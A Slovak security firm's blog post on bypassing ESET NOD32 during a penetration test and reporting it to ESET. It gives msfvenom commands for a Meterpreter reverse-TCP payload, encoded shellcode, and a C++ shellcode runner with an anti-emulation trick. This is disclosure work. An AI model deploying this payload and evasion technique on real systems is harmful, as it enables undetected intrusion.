Počas penetračného testu u veľkého zákazníka sme hackovali niekoľko serverov s operačným systémom MS Windows. Časť útoku bola v jednom momente zmarená vďaka systému NOD32 od ESETu. Podarilo sa nám upraviť útok tak, aby sme zostali pod radarom NODu a v tomto blogu sa s vami podelíme o príbeh, ktorý je s tým spojený.
Jeden z nástrojov, ktorý používame počas penetračného testovania je Metasploit a v rámci neho payload Meterpreter. Počas penetračného testu u zákazníka sme práve tento payload chceli použiť. Zákazníkov antivírusový systém NOD32 však tento proces blokoval. Motivovaného a zručného hackera také niečo neodradí, ba práve naopak. Prišli sme na spôsob ako Meterpreter obfuskovať tak, aby ho NOD32 nedokázal detegovať.
Nasledovná časť je zľahka technická, avšak nie je to žiadna raketová veda.
Najskôr sme vygenerovali binárku. LHOST je IPčka Kali Linuxu, na ktorej bude listener počúvať:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=4444 -f exe >meterpreter.exe
Po vygenerovaní meterpreter.exe sme v konzole nastavili a spustili nasledovné (opäť LHOST bola IP adresa Kali Linuxu):
# msfconsole
# msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.123
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
Vygenerovaný meterpreter.exe sme prekopírovali na zákazníkov systém a spustili ho. Na msfconsole v Kali Linuxe sme si prečítali, že došlo ku spojeniu:
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
Na hoste sme najskôr spustili meterpreter.exe. Po nadviazaní spojenia bola poslaná knižnica metsrv.x86.dll z adresára na zákazníkov systém.
opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/meterpreter_bins-0.0.14/meterpreter
Táto DLL bola pred odoslaním z metasploitu upravená. Na host sa neuložila ako súbor, ale meterpreter si ju priamo načíta do pamäte. Z hľadiska obídenia NODu ale už táto časť nie je dôležitá.
Upraviť tento súbor bolo prekvapivo jednoduché. Vzhľadom na to, že ide o open source, dostať sa k zdrojákom je triviálne - sú dostupné online: https://github.com/rapid7/meterpreter
Projekt sme otvorili vo Visual Studiu (mal by stačiť i msbuild.exe alebo xbuild na Linuxe) a spustili Debug build. Súbor sa vytvoril v adresári meterpreter\output\x86\Debug\.
Po prepísaní originálneho súboru ho potom NOD32 prestal detegovať.
Vygenerovaný meterpreter.exe NOD32 hneď zachytil. Skrytie kódu sme uskutočnili na dvoch úrovniach.
Najskôr sme vygenerovali zakódovaný shellkód meterpreteru tak, aby sa dal vložiť do C++ zdrojáku. Výber encoderu a ďalších parametrov prebehol metódou pokus-omyl:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -i 3 -f c >mp.txt
Súbor mp.txt potom obsahoval napríklad:
unsigned char code[] =<br />"\xbb\x2e\x27\x94\x3b\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"<br />"\x54\x31\x5f\x15\x03\x5f\x15\x83\xef\xfc\xe2\xdb\xfe\x7c\xe2"<br />"\x57\x25\x89\xaf\x88\x45\x5a\xda\xee\xb6\x55\x6b\x40\x88\x35"<br />"\x9b\xdf\x2a\xb1\xa0\x90\xd9\x73\x59\x98\xab\x50\xd2\x88\x1d"<br />"\x07\xce\x27\xa0\x8a\xb8\x71\x37\x69\x0a\xf4\x5d\x92\x54\x01"<br />"\x0b\x95\xd2\x6f\xac\xb3\xcd\xbe\xcd\xb8\x75\x34\xcd\x6e\x63"<br />"\x9e\xd1\xe7\x62\x72\x60\x15\x38\x48\xa8\x3e\x46\x0f\x4a\xdd"<br />"\xa7\x0e\xea\x4f\x81\x06\xd8\xa3\x10\x29\x2e\xc2\x3b\x3c\x31"<br />"\x44\xcd\x04\x48\xd7\xf9\x84\xdb\x3f\x5d\xc5\xf9\x72\xa0\x71"<br />"\xf4\x0d\x66\xca\x6d\x6b\x0f\x79\xee\xbd\x85\x8b\x4c\x1f\xbe"<br />"\x67\x28\x0d\x5a\x89\x78\x90\xf1\xe0\xc6\x2d\x64\x27\x04\xf1"<br />"\x63\xf8\xcb\x86\x26\x98\x8b\x83\x20\xec\x11\xeb\xdc\x2e\xdd"<br />"\x0d\x20\x17\x16\x4f\x9f\x3d\x3d\xed\x99\x0e\xe3\x6f\x45\x08"<br />"\x0c\x16\xb6\x90\xb4\x53\x67\x5f\x80\x88\xe1\x81\xe6\xe9\x61"<br />"\x57\x88\x7f\xa0\x6b\x20\xb9\x68\x4d\xd9\x1c\x6f\x21\xa5\x82"<br />"\xd0\x31\x9f\x8f\xbe\x95\xd3\x55\xc7\x32\x8e\x6e\xf6\x91\x80"<br />"\xbc\x16\x30\xfc\xf0\xad\x02\xcb\xb5\x93\x96\x39\xb6\x3e\x06"<br />"\x95\xb2\xde\x2e\x4d\xad\x6d\xc1\x57\x20\x01\x90\x56\x85\xf4"<br />"\x1f\x50\xc2\x83\x12\xe5\xa0\xa8\x90\x71\x8b\x3d\x2d\x6e\x56"<br />"\x0d\x07\x8e\xe2\xce\x99\x59\x5a\xfe\xef\xbf\x2f\x34\xf7\x42"<br />"\x7d\x16\x21\x77\x3b\x59\x17\xfe\x3b\x0b\x35\xa3\x75\x03\x2c"<br />"\x89\x8e\x24\x78\xc4\xc5\x75\xe8\xa4\xbd\xad\xce\x35\xc0\xdf"<br />"\x32\x64\x15\x88\xe0\x46\xc6\x6a\x31\x74\xb0\x41\x1c\x9d\xae"<br />"\xb0\x9a\xd9\x51\x05\x88\xe4\x3d\xbf\x45\x32\x60\xaa\x3d\x0a"<br />"\x67\xa3";
Keď sme tento vygenerovaný shellkód vložili do C++ kódu, ktorý ho spustil, NOD32 ho napriek tomu naďalej detegoval. Museli sme pridať ďalší trik, takže výsledný kód na spustenie shellkódu vypadá takto:
unsigned char shellcode[] = "\xbb\x2e\x27\x94\x3b\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
int nArgs;
const LPWSTR * argv;
argv = CommandLineToArgvW(GetCommandLine(), &nArgs);
if (nArgs > 0)
{
TCHAR buffer[MAX_PATH] = { 0 };
const TCHAR * fileName;
if (GetModuleFileName(NULL, buffer, sizeof(buffer)))
{
fileName = PathFindFileName(buffer);
*(PathFindExtension(fileName)) = 0;
if (wcsstr(argv[0], fileName) > 0)
{
int(*func)() = (int(*)())&shellcode;
while (true)
{
func();
}
}
}
}
}
Kód, ktorý predchádza samotnému spusteniu shellkódu, by mal zablokovať emulátor antivírusu. V prípade NOD32 to tak naozaj je. Princíp, na ktorom to funguje je popísaný napríklad tu: http://blog.deepsec.net/?p=1613
NOD32 mal ale problém s emuláciou čítania príkazového riadku, takže sa k emulácii shellkódu nedostal. Nakoniec bolo aj tak ešte treba použiť encoder, aby shellkód nebol jednoducho detegovaný porovnávaním vzoriek.
Keď etickí hackeri a bezpečnostní výskumníci natrafia na zraniteľnosť v programe alebo systéme, v zmysle zodpovedného nahlasovania ju oznámia tvorcovi, opíšu ju a navrhnú riešenie. (Naproti tomu neetickí hackeri ju rovno zneužijú alebo predajú). Reakcie vývojárov softvéru alebo prevádzkovateľov systémov môžu byť rôzne – nezriedka sa stretnú s nepochopením až nepriateľstvom.
Sami už takú skúsenosť máme a opísali sme ju v staršom príspevku nášho blogu. Iné firmy takýchto výskumníkov naopak vítajú a majú pre nich dokonca pripravené „bug bounty“ programy, cez ktoré nájdené zraniteľnosti dokonca odmeňujú. Pri nahlasovaní ide často o výstrel do neznáma a záleží na nastavení firmy či ega konkrétneho pracovníka, ako na takúto správu zareaguje.
My sme s týmito informáciami kontaktovali ESET. Nasledovala veľmi príjemná komunikácia – potešili sa, že sme slušní a korektní a hneď na druhý deň chybu opravili. My sme od nich získali súhlas na zverejnenie spôsobu, ako sme identifikovali zraniteľnosť v systéme NOD. Za výbornú spoluprácu im ďakujeme.
Táto situácia nám urobila veľkú radosť. Obídenie kvalitného antivírového sotftvéru, akým je NOD, bolo zaujímavou výzvou a úspech nás samozrejme potešil. Rýchla, priateľská a vecná diskusia s ľuďmi z ESETu bola taktiež dobrou skúsenosťou. Týmto pozdravujeme Peťa Košinára a Peťa Kováča. A ďakujeme kolegovi Danielovi Kapčovi, ktorý zrealizoval samotný bypass.
Robme spolu svet bezpečnejším miestom :)